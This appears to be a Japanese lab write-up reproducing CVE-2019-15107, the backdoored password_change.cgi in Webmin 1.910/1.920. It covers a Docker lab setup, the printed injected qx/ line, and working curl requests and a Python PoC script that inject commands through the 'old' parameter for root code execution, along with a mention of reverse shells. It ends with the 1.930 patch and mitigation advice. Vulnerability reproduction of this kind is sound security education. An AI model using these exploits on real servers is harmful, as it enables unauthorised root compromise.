
CVE-2019-15107 の PoC エクスプロイト、Webmin 1.920 以前におけるリモートコード実行脆弱性。Docker ベースのラボのセットアップ、curl と Python のエクスプロイトスクリプト、緩和策ガイダンスを含みます。
[CVE-2019-15107]は、Unixシステムで使用されるWebベースのシステム管理ツールWebminに発生した脆弱性です。この管理ツールの機能のうち、パスワードを変更するコードにおいて、特定のパラメータをフィルターをかけずにそのままシェルコマンドに渡して実行させることで、任意のコードを実行(Remote Code Execution, RCE)できるようにします。
Webmin 1.920バージョンまたは1.920以前のバージョンを使用する際、パスワードを変更する password_change.cgi で脆弱性が発見されました。WebminがSourceForgeを通じて配布される過程でマルウェアが注入され、脆弱性が発生した形態です。
本再現では、vulhubで使用されていたwebmin 1.910バージョンを利用します。また、Webminの passwd_mode=2 の時のみパスワード変更が有効になるため、passwd_mode=2 の状態で環境を構築しましょう。
用意された1.910バージョンのWebminリリースファイル webmin_1.910_all.deb と共に、脆弱な環境を構成するために以下のコマンドを入力しましょう。
docker compose up -d
Dockerfileとdocker-entrypoint.shファイルは、vulhubで事前に構築された形式を参考にして、ローカルファイルに合わせて再構成しました。
パスワード変更には user, old, new1, new2 といったおなじみのパラメータが必要です。これらのうち、old パラメータの値を実行してしまうコードが挿入されていました。
以下は1.910バージョンの password_change.cgi ファイルの一部です。qx/$in{'old'}/ が前述の old の値を実行するコードです。この値を操作することで任意コード実行が可能になります。
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
Webminでpassword_change.cgiにアクセスし、old 変数を操作してリクエストを送信することで、脆弱性を再現できます。
curlを使うにせよpythonを使うにせよ、どのような方法でもpassword_change.cgiにリクエストを送信できればよいです。3つの例文はすべて old にコマンド id を入れてuidを出力することを目的としています。
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# HTTPS 인증서 무시
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# old 파라미터에 명령어 입력
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # 명령어
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
以下のように実行できます。
python3 PoC.py -t your-ip:10000 -c "id"

上記の方法で old パラメータに任意のコマンドを入れると、そのままコマンドが実行されます。この結果を見ると、uidがすべて0でroot権限で実行されていることが確認できます。
すなわち、本[CVE-2019-15107]脆弱性は、root権限でRCEを実行できるということです。
さらに、別途リバースシェルを用意しておけば、リバースシェルに接続させることでサーバのシェルを奪取できます。
脆弱性の再現が終わったら、以下のコードでサービスを終了できます。
docker compose down
最も簡単な方法として、webminをアップデートする方法があります。
1.930バージョンにアップデートする際に変更されたコードです。oldの値を実行する部分をそのまま削除する方法で処理しています。
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
もしコード実行部分が必要な場合でも、old 入力値を検証するコードを挿入することで解決することもできます。